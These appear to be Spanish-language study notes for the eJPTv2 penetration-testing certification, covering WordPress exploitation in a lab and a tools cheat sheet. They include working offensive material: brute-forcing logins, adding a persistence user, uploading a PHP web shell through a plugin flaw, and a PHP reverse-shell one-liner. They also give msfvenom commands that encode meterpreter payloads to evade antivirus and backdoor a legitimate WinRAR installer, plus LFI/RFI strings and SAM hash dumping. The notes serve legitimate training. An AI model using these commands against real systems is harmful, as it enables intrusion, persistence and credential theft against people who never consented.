Volviendo a lo interesante, por ejemplo el config.inc podemos abrirlo en un browser, dara error pero vemos la version de Apache: ![[Pasted image 20260312193512.png]] ![[Pasted image 20260312193522.png]]

Vemos un paswords: ![[Pasted image 20260312193608.png]]![[Pasted image 20260312193624.png]]

Vamos a abrir el phpmuamdin/index.html

![[Pasted image 20260312193816.png]]![[Pasted image 20260312193827.png]]

eJPTv2

1. Nikto

Visto en: [[12. Nikto]]

eJPTv2

1. Fuerza Bruta Directorios Gobuster

Visto en: [[13. Gobuster]]

eJPTv2

1. Metodologia

  1. Recopilacion de informacion y Enumeracion

    • Escaneo de puertos y enumeracion de servicios
    • Identificar la version del WP
    • Enumerar/identifiar la lista de temas y plugins instalados en WP y sus versiones
    • Realizar un file/directory enum para identificar recursos escondidos o sesibles
  2. Vuln Scanning:

    • Identificar malas confs y vulns comunes en WP
    • Realizar escaneo de vulns automatico con herramientas como WPScan para identificar plugins y temas
  3. Testeo de Autenticacion:

    • Realizar fuerza bruta en /wp-admin.php p /wp-login.php para obtener creds validas
    • Testear WP para vulnerabilidades de manejo de sesion
  4. Explotacion:

    • Identificar y explotar vulns conocidas publicamente en temas y plugins WP (XSS, SQLi…)
  5. Post-Explotacion

    • Establecer persistencia en WP/webserver via webshells o backdoors
    • Exfiltrar datos sensibles del WP o webserver

eJPTv2

2. Ejemplo Explotando Wp

Comandos

![[Pasted image 20260313153741.png]]

Comandos Explicacion
sudo nmap -Pn -sS -sV -T4 IP Vemos un Apache 2.4.18 en Ubuntu en el puerto 80
nikto -h http://IP
![[Pasted image 20260313153929.png]]
Confirmamos la version
wpscan –url http://IP Enumera plugins, temas…

![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]] ![[Pasted image 20260313154159.png]] ![[Pasted image 20260313154235.png]] ![[Pasted image 20260313154257.png]]

XML RPC acelera el brute forcing

Hemos visto que hay un /robots.txt ![[Pasted image 20260313154142.png]]

Tambien que hay un wp-content/uploads que podemos mirar ![[Pasted image 20260313154207.png]]

Tambien vimos WP version y temas y plugins que pueden ser vulnerables o que ya no tienen mantenimiento

wpscan –url http://IP -eu -eu: Enumera Users

![[Pasted image 20260313154500.png]] ![[Pasted image 20260313154524.png]]

No signidica que sea el unico, se puede pasar una wordlist

wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt Ataque de fuerza bruta: -U usuario -P /wordlist

![[Pasted image 20260313154740.png]]

Vamos a /wp-login.php o /wp-admin.php ![[Pasted image 20260313154817.png]] ![[Pasted image 20260313154829.png]]

Vamos a añadir un usuario para la persistencia por ejemplo: ![[Pasted image 20260313154909.png]]

Si volvemos a enumerar usuario con -eu encontraremos a system: ![[Pasted image 20260313154950.png]]

Ejemplo con Burp de como explotar wp y postexplotacion

![[Pasted image 20260313155847.png]]![[Pasted image 20260313155903.png]]![[Pasted image 20260313155922.png]] ![[Pasted image 20260313160036.png]] ![[Pasted image 20260313160049.png]]

![[Pasted image 20260313155948.png]]![[Pasted image 20260313160013.png]]

Vemos ahi temas y plugins fuera de version

![[Pasted image 20260313160208.png]]![[Pasted image 20260313160215.png]]

![[Pasted image 20260313160405.png]]![[Pasted image 20260313160425.png]]

admin:admin por probar

![[Pasted image 20260313160509.png]]

Lo enviamos al intruder para hacer fuerza bruta desde Burp ![[Pasted image 20260313160530.png]]![[Pasted image 20260313160613.png]]

Vamos a payloads ![[Pasted image 20260313160638.png]]![[Pasted image 20260313160700.png]]

Start attack ![[Pasted image 20260313160728.png]] Todos nos estan dando 200 porque no hay errores en la pagina pero debemos buscar el que tenga una longitud diferente ![[Pasted image 20260313160811.png]] Si miramos la respuesta ![[Pasted image 20260313160827.png]]

Vamos a probarlo (Quitamos el proxy on antes) ![[Pasted image 20260313160902.png]]![[Pasted image 20260313160910.png]]

Estamos dentro. Vimos antes que teniamos un plugin desactualizado llamado wp-responsive-thumbnail-slider:

![[Pasted image 20260313160942.png]]

Aqui vemos que tiene la version 1.0 ![[Pasted image 20260313161158.png]]

Es un txt con un PoC: ![[Pasted image 20260313161234.png]]![[Pasted image 20260313161247.png]]

Seguimos el PoC:

  1. Go To Add Image Section And Upload File By Self Plugin Uploader
  2. Then Upload File With Double Extension Image and By Using A BurpSuite Or Tamper Data Change The File Name From Shell.php.jpg To Shell.php
  3. And Shell Is Uploaded

![[Pasted image 20260313161449.png]]![[Pasted image 20260313161542.png]]

Add New

![[Pasted image 20260313161745.png]]![[Pasted image 20260313161841.png]]![[Pasted image 20260313161851.png]]![[Pasted image 20260313161913.png]]![[Pasted image 20260313161926.png]]![[Pasted image 20260313161955.png]] Lo cambiamos a shell.php y lo enviamos ![[Pasted image 20260313162011.png]]![[Pasted image 20260313162043.png]]

Si le damos a edit saldra el nombre que le ha dado el webserver: ![[Pasted image 20260313162156.png]]

Encemos burp de nuevo y Clickamos en su hipervinculo: ![[Pasted image 20260313162225.png]]

![[Pasted image 20260313162300.png]]

Lo mandamos al repeater: ![[Pasted image 20260313162347.png]]

Ya podemos ejecutar comandos, vamos a subir un revershell, pero primero abrimos un netcat: ![[Pasted image 20260313162533.png]]

php -r ‘$sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

![[Pasted image 20260313162648.png]] Lo pasamos a formato URL 1 vez y probamos: ![[Pasted image 20260313162722.png]]![[Pasted image 20260313162734.png]] Obtuviemos el reverse shell: ![[Pasted image 20260313162815.png]]

eJPTv2

Indice Webapp Server

  1. Webserver vs WebApp

    1. [[1. WebServer vs WebApp]]
  2. HTTP

    1. [[1. Solicitudes HTTP]]
    2. [[2. Respuestas HTTP]]
    3. [[3. HTTP Basic Lab]]
  3. Spidering y Crawling

    1. [[1. Crawling]]
    2. [[2. Spidering]]
  4. Vuln Scan Nikto

    1. [[1. Nikto]]
  5. Enumeracion archivos y directorios

    1. [[1. Fuerza bruta directorios gobuster]]
  6. CMS

    1. [[1. Metodologia]]
    2. [[2. Ejemplo Explotando WP]]

eJPTv2

1. Fuerza Bruta Hydra Y MSF Login

MSF (modulos login)

Hydra

hydra -l <USER> -P /wordlist <TARGET> <PROTOCOLO>

eJPTv2

2. Crackmapexec

Comandos Explicacion
crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> Verificar creds
crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> -x <COMANDOS> Ejecutar un comando
crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –sam Obtener hashes SAM
crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –users Enumerar usuarios

eJPTv2

3. Msfvenom

Creacion de payloads

msfvenom -p <sistema/(arquitectora x64/x86)/(meterpreter)/reverse_tcp> LHOST=<IP_LOCAL\> LPORT=<PUERTO_LOCAL> -f <EXTENSION\>   > archivo.extension

Ejemplos

Comandos Explicacion
msfvenom Menu de ayuda
msfvenom –list payloads Listar los payloads disponibles

Diferencias los stage payloads de los no:

- Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp
- Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe -a x86: especificamos que la arquitectura es 32bits
-p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits)
- Se ponen las variables
-f exe: se define la extension del archivo
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe Para un 64bits
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe Para Linux 32bits
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe Para 64bits
msfvenom –list format Formatos en los que podemos crear el archivo

Encodeando payloads para evitar AV

Encodear es un proceso de modificar el codigo shell del payload con el objetivo de modificar su firma

  • Shellcode: Es una pieza de codigo tipicamente usada para explotacion que nos provee de un command shell remoto en el sistema objetivo
Comandos Explicacion
msfvenom –list encoders Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son:

- cmd/powershell_base64
- x86/shikata_ga_nai: usaremos este para tanto windows como linux
msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran
-i 10 o –iterations 10 Numero de iteraciones
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -i10 -e x86/shikata_ga_nai -f elf > nombre.exe Para Linux 32bits con 10 iteraciones

Inyeccion payloads en ejecutables legitimos

Comando Explicacion
Descargarnos WinRAR 32bits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe
-k Esta opcion hace que se ejecute el payload y luego vuelva con el codigo original haciendo que la ejecucion del programa parezca legitima.

Sin la k el programa original puede no abrirse, romperse o solo se ejecuta el payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -k -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe

eJPTv2

4. Curl

curl http://IP/archivo.extencison Nos descarga el archivo
curl http://IP Solicitud GET noraml
curl -v http://IP/ Con esto hacemos una solicitud basica al sitio web, es decir, un GET / y nos imprime por pantalla la respuesta del webserver
curl -I http://IP/ Con el -I enviamos un HEAD /
curl -X METHOD http://IP/ En la parte de METHOD podemos especificar cualquier metodo que queramos usar (POR EJEMPLO OPTIONS)
curl http://IP/uploads –upload-file /ruta/archivo Subir un archivo a una pagina web si lo permite como es el caso de un DAV
curl -X PUT http://10.129.7.141:8080/examples/servlets/shell.jsp –data-binary @shell.jsp Subir archivo

eJPTv2

6. Xfreerdp

xfreerdp /u:<USER> /p:<PASSWORD> /v:<IP>

eJPTv2

7. Netcat

Comandos Explicacion
nc –help -v: verbose
-u: UDP option
-l: listener
-n: deshabilita la resolicion DNS de los hostnames
-e COMANDO: ejecutar un comando especifico
-p N: seleccionar puerto en el listener
nc IP PUERTO(80) Conectarnos a un puerto. No nos devuelve ningun banner
nc -nv IP PUERTO Nos conectamos sin resolucion DNS y con la opcion verbose.
Vemos que la conexion si se esta realizando correctamente simplemente no tiene configurado un banner el servicio

Si nos diese connection refused puede que o no haya servicios en ese puerto o que haya algun firewall
nc -nvu IP 161 Se conecta por UDP al puerto 161
nc -nvlp 1234 Nos ponemos en listening por el puerto 1234 TCP
nc -nvlup 1234 Nos ponemos en listening por el puerto 1234 UDP

eJPTv2

8. John

PARA NTLM

john –format=NT hashses.txt (–wordlist=/usr/share/wordlists/rockyou.txt) En este caso no hazi falta usar wordlist, la default sirve

eJPTv2

9. Hashcat

PARA NTLM

hashcat -a3 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt

eJPTv2

10. Burp Suite

eJPTv2

11. Wpscan

wpscan –url http://IP Enumera plugins, temas…
wpscan –url http://IP -eu -eu: Enumera Users
wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt Ataque de fuerza bruta: -U usuario -P /wordlist

Enumeracion plugins,temas…

![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]] ![[Pasted image 20260313154159.png]] ![[Pasted image 20260313154235.png]] ![[Pasted image 20260313154257.png]]

Enumeracion users

![[Pasted image 20260313154500.png]] ![[Pasted image 20260313154524.png]]

eJPTv2

12. Nikto

nikto -h target Realiza un escaneo del target

Veremos cosas como:
- Version webserver
- Lengua y version backend dado por el header “x-powered-by”
- La variable de la cookie: PHPSESSID
- /robots.txt esta presente
- config directory si se encuentra
- Otros directorios que se encuentren como phpmyadmin por ejemplo
nikto -h /URL/path -Tuning 5 -o nikto.html -Format htm Con esto podemos ver si en una url especifica hay alguna vuln de inclusion de archivos (En la vida real no va a haber una direccion que sea Local File Intrusion tan obvia pero es para demostrarlo)

-Tuning 5: limita el escaneo a vulns tipo 5 = file inclusion (tambien incluye RFI entre otras)
Si ha nikto le especificas un path toma como objetivo ese path pero si le especificas el home page analiza el servidor web en general

TUNINGS: ![[Pasted image 20260312214605.png]]

Ejemplo

Accedemos a la webapp ![[Pasted image 20260312205946.png]]

![[Pasted image 20260312210051.png]] ![[Pasted image 20260312210346.png]] ![[Pasted image 20260312210423.png]]![[Pasted image 20260312210528.png]]

![[Pasted image 20260312210615.png]]![[Pasted image 20260312210908.png]]

Si abrimos el html ![[Pasted image 20260312210947.png]]

Vemos un file inclusion vuln ![[Pasted image 20260312211028.png]]![[Pasted image 20260312211039.png]]

Ejemplo

![[Pasted image 20260312211636.png]]![[Pasted image 20260312211705.png]]![[Pasted image 20260312212415.png]]

Vemos version del webserver y PHP, paths interesantes, LFI y RFI (LFI basicamente es tratar de leer archivos locales mediante parametros que malinterpreta aplicacion web y RFI es tratar de incluir y ejecutar archivos en el servidor mediante parametros en la URL)

Ejemplo LFI: http://IP/recurso/../../../../../etc/passwd Ejemplo RFI: http://IP/recurso/index.php?CONFIG[files][functions_page]=http://tu-servidor/test.txt

![[Pasted image 20260312212904.png]]![[Pasted image 20260312213025.png]]![[Pasted image 20260312213107.png]]

En esta parte del output ya estamos viendo 400 error o 200 success dependiendo del LFI usado

Pero este es el bueno que pone un +: ![[Pasted image 20260312213426.png]]

Si lo usamos: ![[Pasted image 20260312213457.png]]

Para una salida un poco mas limpia podemos hacer o quitar el -Display V (era el que saca toda la info): ![[Pasted image 20260312213630.png]]

O pasarlo a html y verlo: ![[Pasted image 20260312213822.png]] ![[Pasted image 20260312213857.png]]![[Pasted image 20260312213914.png]]

eJPTv2

13. Gobuster

gobuster dir -u http://URL/ -w <WORDLIST>

Encontrar directorios  y archivos mediante fuerza bruta. Tambien se pueden vhosts y mas pero nos centramos en directorios

Parametros

WORDLIST : /usr/share/wordlist/dirb/common.txt
Parametro Explicacion
-t N Sirve para añadir threads y hacerlo mas rapido (poner por lo menos 15)
-x extension,extension… Busca archivos con esas extensiones (ej. xml, php, conf)
-s 200,301… Solo se mostraran las salidas con esos result codes (whitelist)
-b 404,403… Excluye de la salida los que tengan esos result codes (blacklist)
–exclude-length N Excluir las salidas con un tamaño N
-r Follow the redirects, es decir, si hay una redireccion hara directamente la peticion a la redireccion para que no salte el 301

Gobuster no tiene modo recursive

![[Pasted image 20260316205018.png]]

eJPTv2

14. Hydra

Servicios en general

Comandos
hydra -l usuario -P wordlist IP protocolo

HTTP Forms

Comandos
hydra -l usuario -P wordlist IP http-post-form “ruta:parámetros:mensaje_error” GENERICO
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect” EJEMPLO
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:S=Dashboard” Si nos da varias respuestas correctas debemos sacar la salida por una posible ruta que salga tras un login bueno

eJPTv2

Indice Herramientas

[[1. Fuerza Bruta - Hydra y MSF login]] [[2. Crackmapexec]] [[3. Msfvenom]] [[4. Curl]] [[5. dirb]] [[6. xfreerdp]] [[7. Netcat]] [[8. John]] [[9. Hashcat]] [[10. Burp Suite]] [[11. WPScan]] [[12. Nikto]] [[13. Gobuster]]

eJPTv2

1. Python HTTP Server

Python2

python -m SimpleHTTPServer 80

Python3 python3 -m http.server 80

eJPTv2

1. Windows

Certutil

certutil -urlcache -f http://IP/nombre.exe\ <nombre.exe>

eJPTv2

Indice Transferencia De Archivos

  1. Crear servidor

    1. [[1. Python HTTP Server]]
  2. Descargar como cliente

    1. [[1. Windows]]
    2. [[2. Linux]]

eJPTv2

1. Users Y Passwords

USERNAME:

  • /usr/share/metasploit-framework/data/wordlist/common_users.txt
  • /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt

PASSWORD:

  • /usr/share/metasploit-framework/data/wordlist/common_pass.txt
  • /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
  • /usr/share/wordlist/rockyou.txt —> gunzip /ruta

eJPTv2

2. DNS

/usr/share/dnsenum/dns.txt

eJPTv2

3. Directorios, Recursos, Subdominio WEB

/usr/share/wordlist/dirb/common.txt

eJPTv2

4. Shells Y Cheatsheet Reverse Shells

Ubicacion

/usr/share/webshells/

Ahi tambien hay reverse y bind shells

Cheasheet

  1. PayloadsAllTheThings –> “https://github.com/swiisskyrepo/PayloadAllTheThings/blob/master/Methodology and Resouces/Reverse Shell Cheatsheet.md” <– COPIAR TODO EN EL NAVEGADOR

![[Pasted image 20260318165245.png]]

  1. Revshells –> https://www.revshells.com/

![[Pasted image 20260318165317.png]]![[Pasted image 20260318165329.png]]![[Pasted image 20260318165351.png]]![[Pasted image 20260318165359.png]]

eJPTv2

Indice Wordlists

[[1. Users y Passwords]] [[2. DNS]] [[3. Directorios, recursos, subdominio web]] [[4. Shells y Cheatsheet reverse shells]]

Logo 1Logo 2Logo 3Logo 4Logo 5Logo 6Logo 7Logo 8Logo 9Logo 10Logo 11Logo 12Logo 13Logo 14Logo 15Logo 16Logo 17Logo 18Logo 19Logo 20Logo 21Logo 22Logo 23Logo 24Logo 25Logo 26Logo 27Logo 28Logo 29Logo 30Logo 31Logo 32